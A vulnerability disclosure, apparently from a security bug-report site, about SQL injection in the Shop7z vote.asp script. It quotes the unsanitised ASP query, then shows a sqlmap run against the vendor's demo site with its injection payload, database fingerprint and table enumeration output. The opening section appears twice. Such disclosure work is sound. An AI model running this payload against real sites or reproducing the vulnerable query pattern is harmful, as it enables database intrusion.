### 简要描述: vote.asp ### 详细说明: vote.asp 14-22 ``` if rad<>"" and request.cookies("votestat")<>"Y" then sql="update e_diaocha2 set shuliang=shuliang+1 where id="&rad 'response.write sql 'response.end conn.execute(sql) votenews="1" response.cookies("votestat")="Y" end if %> ``` ### 漏洞证明: [<img src="https://images.seebug.org/upload/201409/1519415127679c71f7d8a8a3efad324a6598a348.jpg" alt="7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1519415127679c71f7d8a8a3efad324a6598a348.jpg) F:\sqlmap>python sqlmap.py -u "http://www.shop7z.com/demo/vote.asp" --data "rad= 1" --tables _ ___ ___| |_ ___ ___ {1.0-dev-nongit-20140915} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any...
### 简要描述: vote.asp ### 详细说明: vote.asp 14-22 ``` if rad<>"" and request.cookies("votestat")<>"Y" then sql="update e_diaocha2 set shuliang=shuliang+1 where id="&rad 'response.write sql 'response.end conn.execute(sql) votenews="1" response.cookies("votestat")="Y" end if %> ``` ### 漏洞证明: [<img src="https://images.seebug.org/upload/201409/1519415127679c71f7d8a8a3efad324a6598a348.jpg" alt="7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1519415127679c71f7d8a8a3efad324a6598a348.jpg) F:\sqlmap>python sqlmap.py -u "http://www.shop7z.com/demo/vote.asp" --data "rad= 1" --tables _ ___ ___| |_ ___ ___ {1.0-dev-nongit-20140915} |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| |_| |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon sible for any misuse or damage caused by this program [*] starting at 19:37:20 [19:37:20] [INFO] testing connection to the target URL [19:37:20] [INFO] testing if the target URL is stable. This can take a couple of seconds you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to me rge them in futher requests? [Y/n] [19:37:23] [INFO] target URL is stable [19:37:23] [INFO] testing if POST parameter 'rad' is dynamic [19:37:23] [WARNING] POST parameter 'rad' does not appear dynamic [19:37:23] [INFO] heuristics detected web page charset 'GB2312' [19:37:23] [INFO] heuristic (basic) test shows that POST parameter 'rad' might b e injectable (possible DBMS: 'Microsoft Access') [19:37:23] [INFO] testing for SQL injection on POST parameter 'rad' heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft Acces s'. Do you want to skip test payloads specific for other DBMSes? [Y/n] do you want to include all tests for 'Microsoft Access' extending provided level (1) and risk (1) values? [Y/n] [19:37:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:37:26] [WARNING] reflective value(s) found and filtering out [19:37:27] [INFO] testing 'Microsoft Access boolean-based blind - Parameter repl ace (original value)' [19:37:28] [INFO] POST parameter 'rad' seems to be 'Microsoft Access boolean-bas ed blind - Parameter replace (original value)' injectable [19:37:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [19:37:28] [INFO] automatically extending ranges for UNION query injection techn ique tests as there is at least one other (potential) technique found [19:37:30] [INFO] checking if the injection point on POST parameter 'rad' is a f alse positive POST parameter 'rad' is vulnerable. Do you want to keep testing the others (if a ny)? [y/N] sqlmap identified the following injection points with a total of 42 HTTP(s) requ ests: --- Place: POST Parameter: rad Type: boolean-based blind Title: Microsoft Access boolean-based blind - Parameter replace (original va lue) Payload: rad=IIF(3592=3592,1,1/0) --- [19:37:33] [INFO] the back-end DBMS is Microsoft Access web server operating system: Windows 2003 or XP web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft Access [19:37:33] [INFO] fetching tables for database: 'Microsoft_Access_masterdb' [19:37:33] [INFO] fetching number of tables for database 'Microsoft_Access_maste rdb' [19:37:33] [WARNING] running in a single-thread mode. Please consider usage of o ption '--threads' for faster data retrieval [19:37:33] [INFO] retrieved: [19:37:33] [WARNING] in case of continuous data retrieval problems you are advis ed to try a switch '--no-cast' [19:37:33] [WARNING] unable to retrieve the number of tables for database 'Micro soft_Access_masterdb' [19:37:33] [ERROR] cannot retrieve table names, back-end DBMS is Access do you want to use common table existence check? [Y/n/q] [19:37:34] [INFO] checking table existence using items from 'F:\sqlmap\txt\commo n-tables.txt' [19:37:34] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] 10 [19:37:38] [INFO] starting 10 threads [19:37:52] [INFO] retrieved: article [19:38:09] [INFO] tried 673/3137 items (21%) [19:38:09] [INFO] waiting for threads to finish (Ctrl+C was pressed) [19:38:10] [WARNING] user aborted during table existence check. sqlmap will disp lay partial output Database: Microsoft_Access_masterdb [1 table] +---------+ | article | +---------+ [19:38:10] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 713 times [19:38:10] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou tput\www.shop7z.com' [*] shutting down at 19:38:10